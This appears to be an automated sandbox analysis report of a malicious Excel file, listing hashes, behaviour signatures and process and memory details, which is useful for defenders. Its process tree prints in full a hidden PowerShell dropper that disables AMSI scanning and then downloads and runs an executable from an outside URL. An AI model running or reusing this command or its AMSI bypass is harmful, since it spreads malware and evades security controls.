Analysis

  • max time kernel
    126s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    09-09-2024 16:07

General

  • Target

    d6a9edfd6995ab7c8a84ce70178ea18c_JaffaCakes118.xls

  • Size

    67KB

  • MD5

    d6a9edfd6995ab7c8a84ce70178ea18c

  • SHA1

    e3ec93b8e8cfc7e7aef66664e4e83299502c8922

  • SHA256

    e29c0b9659bc6f4af1bb148c79c4badd043f6c731722c0e9c568093afb679d10

  • SHA512

    eceaa6daa296d71a281a99ddcc0b1cad84475677f14ed4ee2d348207ea11784ec3a46b490795d311542b2fc9c78f79c4964a7d203eefffa7f6799be9a2f79a9b

  • SSDEEP

    1536:VF35Ht0SwPasau4mU+4pL5n5LZImZqY35qAOJl/YrLYz+WrNhZFGzE+cL2RnAeaM:VF35Ht0Sgasau4mU+4pL5n5LZImZqY3x

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://soilex.co.ke/sundaymorning.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\d6a9edfd6995ab7c8a84ce70178ea18c_JaffaCakes118.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1192
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true);If (test-path $env:APPDATA + '\qlsh.exe') {Remove-Item $env:APPDATA + '\qlsh.exe'}; $CNVVK = New-Object System.Net.WebClient; $CNVVK.Headers['User-Agent'] = 'CNVVK'; $CNVVK.DownloadFile('http://soilex.co.ke/sundaymorning.exe', $env:APPDATA + '\qlsh.exe'); (New-Object -com Shell.Application).ShellExecute($env:APPDATA + '\qlsh.exe'); Stop-Process -Id $Pid -Force
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1768

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/1192-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1192-1-0x000000007292D000-0x0000000072938000-memory.dmp

    Filesize

    44KB

  • memory/1192-23-0x0000000006B40000-0x0000000006C40000-memory.dmp

    Filesize

    1024KB

  • memory/1192-33-0x0000000006B40000-0x0000000006C40000-memory.dmp

    Filesize

    1024KB

  • memory/1192-32-0x0000000006B40000-0x0000000006C40000-memory.dmp

    Filesize

    1024KB

  • memory/1192-31-0x0000000006B40000-0x0000000006C40000-memory.dmp

    Filesize

    1024KB

  • memory/1192-36-0x000000007292D000-0x0000000072938000-memory.dmp

    Filesize

    44KB

  • memory/1192-37-0x0000000006B40000-0x0000000006C40000-memory.dmp

    Filesize

    1024KB

  • memory/1192-38-0x0000000006B40000-0x0000000006C40000-memory.dmp

    Filesize

    1024KB

  • memory/1192-39-0x0000000006B40000-0x0000000006C40000-memory.dmp

    Filesize

    1024KB

  • memory/1192-41-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1192-42-0x000000007292D000-0x0000000072938000-memory.dmp

    Filesize

    44KB